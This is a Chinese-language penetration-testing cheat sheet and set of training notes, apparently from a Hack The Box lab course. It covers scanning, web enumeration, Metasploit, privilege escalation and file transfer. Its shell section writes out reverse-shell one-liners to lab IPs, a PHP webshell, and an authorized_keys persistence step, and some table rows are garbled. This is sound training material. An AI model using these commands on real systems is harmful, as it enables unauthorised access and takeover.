工具

备忘录

基本工具

命令 描述
常规
sudo openvpn user.ovpn 连接到虚拟专用网络
ifconfig/ip a 显示我们的 IP 地址
netstat -rn 显示可通过 VPN 访问的网络
ssh user@10.10.10.10 通过 SSH 连接到远程服务器
ftp 10.129.42.253 FTP 到远程服务器
鞘鞘
tmux 启动 tmux
ctrl+b TMUX:默认前缀
prefix c TMUX:新窗口
prefix 1 TMUX:切换到窗口 (1)
prefix shift+% TMUX:垂直拆分窗格
prefix shift+" TMUX:水平拆分窗格
prefix -> TMUX:切换到右窗格
维姆
vim file VIM:使用 VIM 打开file
esc+i VIM:进入模式insert
esc VIM:返回模式normal
x vim:剪切字符
dw vim:剪切词
dd vim:切割整条线
yw vim:复制单词
yy vim:复制整行
p vim:粘贴
:1 vim:转到第 1 行。
:w vim:写入文件“即保存”
:q vim:退出
:q! vim:退出而不保存
:wq vim:写和退出

渗透测试

命令 描述
服务扫描
nmap 10.129.42.253 在 IP 上运行 nmap
nmap -sV -sC -p- 10.129.42.253 在 IP 上运行 nmap 脚本扫描
locate scripts/citrix 列出各种可用的 nmap 脚本
nmap --script smb-os-discovery.nse -p445 10.10.10.40 在 IP 上运行 nmap 脚本
netcat 10.10.10.10 22 抓取开放端口的横幅
smbclient -N -L \\\\10.129.42.253 列出中小企业共享
smbclient \\\\10.129.42.253\\users 连接到 SMB 共享
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0 扫描 IP 上的 SNMP
onesixtyone -c dict.txt 10.129.42.254 暴力破解 SNMP 机密字符串
网络枚举
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt 在网站上运行目录扫描
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt 在网站上运行子域扫描
curl -IL https://www.inlanefreight.com 抓取网站横幅
whatweb 10.10.10.121 列出有关 Web 服务器/证书的详细信息
curl 10.10.10.121/robots.txt 列出潜在目录robots.txt
ctrl+U 查看页面源代码(在火狐中)
公共漏洞利用
searchsploit openssh 7.2 搜索 Web 应用程序的公共漏洞
msfconsole MSF:启动 Metasploit 框架
search exploit eternalblue MSF:在 MSF 中搜索公共漏洞
use exploit/windows/smb/ms17_010_psexec MSF:开始使用 MSF 模块
show options MSF:显示 MSF 模块所需的选项
set RHOSTS 10.10.10.40 MSF:设置 MSF 模块选项的值
check MSF:测试目标服务器是否易受攻击
exploit MSF:在目标服务器上运行漏洞易受攻击
使用外壳
nc -lvnp 1234 在本地端口上启动侦听器nc
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' 从远程服务器发送反向外壳
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/sh -i 2>&1
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/bash -i 2>&1
nc 10.10.10.1 1234 连接到远程服务器上启动的绑定外壳
python -c 'import pty; pty.spawn("/bin/bash")' 升级外壳 TTY (1)
ctrl+z然后然后是两次stty raw -echo``fg``enter 升级外壳 TTY (2)
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php 创建一个 webshell php 文件
curl http://SERVER_IP:PORT/shell.php?cmd=id 在上传的 Web 外壳上执行命令
权限提升
./linpeas.sh 运行脚本以枚举远程服务器linpeas
sudo -l 列出可用权限sudo
sudo -u user /bin/echo Hello World! 运行命令sudo
sudo su - 切换到根用户(如果我们有权访问sudo su)
sudo su user - 切换到用户(如果我们有权访问sudo su)
ssh-keygen -f key 创建新的 SSH 密钥
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys 将生成的公钥添加到用户
ssh root@10.10.10.10 -i key 使用生成的私钥通过 SSH 连接到服务器
传输文件
python3 -m http.server 8000 启动本地网络服务器
wget http://10.10.14.1:8000/linpeas.sh 从我们的本地计算机下载远程服务器上的文件
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh 从我们的本地计算机下载远程服务器上的文件
scp linenum.sh user@remotehost:/tmp/linenum.sh 使用(需要 SSH 访问)将文件传输到远程服务器scp
base64 shell -w 0 将文件转换为base64
`echo f0VMR…SNIO…InmDwU base64 -d > shell`
md5sum shell 检查文件以确保其转换正确md5sum

网络枚举:gobuster

发现 Web 应用程序后,始终值得检查一下我们是否可以在 Web 服务器上发现任何不用于公共访问的隐藏文件或目录。我们可以使用ffufGoBuster之类的工具来执行此目录枚举。有时我们会发现隐藏的功能或页面/目录暴露敏感数据,可以利用这些数据访问 Web 应用程序,甚至在 Web 服务器本身上远程执行代码。

GoBuster是一个多功能工具,允许执行DNS,vhost和目录暴力强制。该工具具有其他功能,例如枚举公有 AWS S3 存储桶。出于本模块的目的,我们对使用 switch 指定的目录(和文件)暴力破解模式感兴趣。让我们使用单词列表运行一个简单的扫描。dir``dirb``common.txt

目录/文件枚举

Tanin@htb[/htb]$ gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.121/
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/11 21:47:25 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/12/11 21:47:46 Finished
===============================================================

DNS 子域枚举

子域上还可能托管基本资源,例如管理面板或具有可被利用的附加功能的应用程序。我们可以使用标志来枚举给定域的可用子域来指定 DNS 模式。首先,让我们克隆 SecLists GitHub 存储库,其中包含许多用于模糊测试和利用的有用列表:GoBuster``dns

安装安全列表

安装安全列表

Tanin@htb[/htb]$ git clone https://github.com/danielmiessler/SecLists

安装安全列表

Tanin@htb[/htb]$ sudo apt install seclists -y

接下来,将 DNS 服务器(如 1.1.1.1)添加到文件中。我们将针对域名,虚构的货运和物流公司的网站。/etc/resolv.conf``inlanefreight.com

安装安全列表

Tanin@htb[/htb]$ gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Domain:     inlanefreight.com
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/SecLists/Discovery/DNS/namelist.txt
===============================================================
2020/12/17 23:08:55 Starting gobuster
===============================================================
Found: blog.inlanefreight.com
Found: customer.inlanefreight.com
Found: my.inlanefreight.com
Found: ns1.inlanefreight.com
Found: ns2.inlanefreight.com
Found: ns3.inlanefreight.com
===============================================================
2020/12/17 23:10:34 Finished
===============================================================

这次扫描揭示了几个有趣的子域,我们可以进一步检查。使用 Ffuf 攻击 Web 应用程序模块详细介绍了 Web 枚举和模糊测试。

Whatweb

我们可以使用 命令行工具 .这些信息可以帮助我们查明正在使用的技术并开始搜索潜在的漏洞。whatweb

Tanin@htb[/htb]$ whatweb 10.10.10.121

http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]

Whatweb是一个方便的工具,包含许多功能来自动执行网络上的 Web 应用程序枚举。

Tanin@htb[/htb]$ whatweb --no-errors 10.10.10.0/24

http://10.10.10.11 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[10.10.10.11], PoweredBy[Red,nginx], Title[Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux], nginx[1.14.1]
http://10.10.10.100 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.100], Title[File Sharing Service]
http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]
http://10.10.10.247 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@cross-fit.htb], Frame, HTML5, HTTPServer[OpenBSD httpd], IP[10.10.10.247], JQuery[3.3.1], PHP[7.4.12], Script, Title[Fine Wines], X-Powered-By[PHP/7.4.12], X-UA-Compatible[ie=edge]

查找公共漏洞

许多工具可以帮助我们搜索在枚举阶段可能遇到的各种应用程序和服务的公共漏洞。一种方法是谷歌应用程序名称,看看我们是否得到任何结果:exploit

为此目的的一个众所周知的工具是 ,我们可以用来搜索任何应用程序的公共漏洞/漏洞。我们可以用以下命令安装它:searchsploit

Tanin@htb[/htb]$ sudo apt install exploitdb -y
Tanin@htb[/htb]$ searchsploit openssh 7.2

----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                               |  Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration                                                                                     | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                                               | linux/remote/45210.py
OpenSSH 7.2 - Denial of Service                                                                                              | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection                                                                      | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration                                                                                         | linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation                         | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                                                                     | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                                                                         | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration                                                                                        | linux/remote/40113.txt
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------

权限提升:LinEnum

LinEnum.sh

HASH:

  • hashcat
  • CeWL

&& &

这些符号在命令行中具有不同的作用:

  1. &&:逻辑与运算符。在命令之间使用 && 可以实现条件执行,即只有前一个命令成功执行(返回状态码为 0),才会执行后续的命令。例如:

    command1 && command2
    

    如果 command1 成功执行,则会执行 command2。如果 command1 执行失败(返回状态码非零),则 command2 将不会执行。

  2. &:后台运行。在命令的末尾使用 & 可以将命令置于后台运行,即命令在后台继续执行,而不会阻塞终端。例如:

    command &
    

    使用 & 启动的命令将在后台运行,同时你可以继续在终端中输入其他命令。可以使用 jobs 命令查看后台运行的任务,并使用 fgbg 命令将任务切换到前台或后台。

  3. :命令分隔符。在命令之间使用 可以将多个命令依次执行,不管前一个命令是否成功执行。例如:

    command1 ; command2 ; command3
    

    每个命令将按顺序执行,不管前一个命令是否成功。无论前一个命令的返回状态码是什么,都会继续执行下一个命令。

这些符号在命令行中有不同的作用,你可以根据需要选择适当的符号来控制命令的执行顺序和方式。